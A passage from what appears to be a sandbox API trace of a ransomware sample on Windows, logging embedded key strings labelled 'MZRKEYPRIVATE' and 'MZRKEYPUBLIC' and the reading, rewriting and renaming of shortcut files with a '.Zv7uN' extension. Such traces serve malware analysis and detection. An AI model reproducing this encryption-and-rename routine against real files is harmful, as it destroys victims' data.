HkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0081.464] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0081.465] GetCurrentThreadId () returned 0xa30 [0081.465] GetCurrentThreadId () returned 0xa30 [0081.465] GetCurrentThreadId () returned 0xa30 [0081.465] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0081.466] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0081.466] GetCurrentThreadId () returned 0xa30 [0081.466] GetCurrentThreadId () returned 0xa30 [0081.466] GetCurrentThreadId () returned 0xa30 [0081.466] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Hjea DQUQSLT3A.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\hjea dquqslt3a.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0081.466] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0081.466] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0081.466] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x257 [0081.466] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0081.467] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0x257, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0x257, lpOverlapped=0x0) returned 1 [0081.468] CloseHandle (hObject=0x124) returned 1 [0081.524] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Hjea DQUQSLT3A.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\hjea dquqslt3a.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0081.526] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0x257, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0x257, lpOverlapped=0x0) returned 1 [0081.527] CloseHandle (hObject=0x124) returned 1 [0081.528] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Hjea DQUQSLT3A.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\hjea dquqslt3a.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Hjea DQUQSLT3A.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\hjea dquqslt3a.lnk.zv7un")) returned 1 [0081.529] GetCurrentThreadId () returned 0xa30 [0081.530] GetCurrentThreadId () returned 0xa30 [0081.530] GetCurrentThreadId () returned 0xa30 [0081.530] GetCurrentThreadId () returned 0xa30 [0081.530] GetCurrentThreadId () returned 0xa30 [0081.530] GetCurrentThreadId () returned 0xa30 [0081.530] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe22bf620, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe22bf620, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe22bf620, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x9f1, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="hmE9.lnk", cAlternateFileName="")) returned 1 [0081.530] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0081.530] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0081.530] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\hmE9.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\hme9.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe22bf620, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe22bf620, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe22bf620, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x9f1)) returned 1 [0081.530] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\hmE9.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\hme9.lnk")) returned 0x20 [0081.530] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\hmE9.lnk", dwFileAttributes=0x80) returned 1 [0081.533] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0081.533] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4n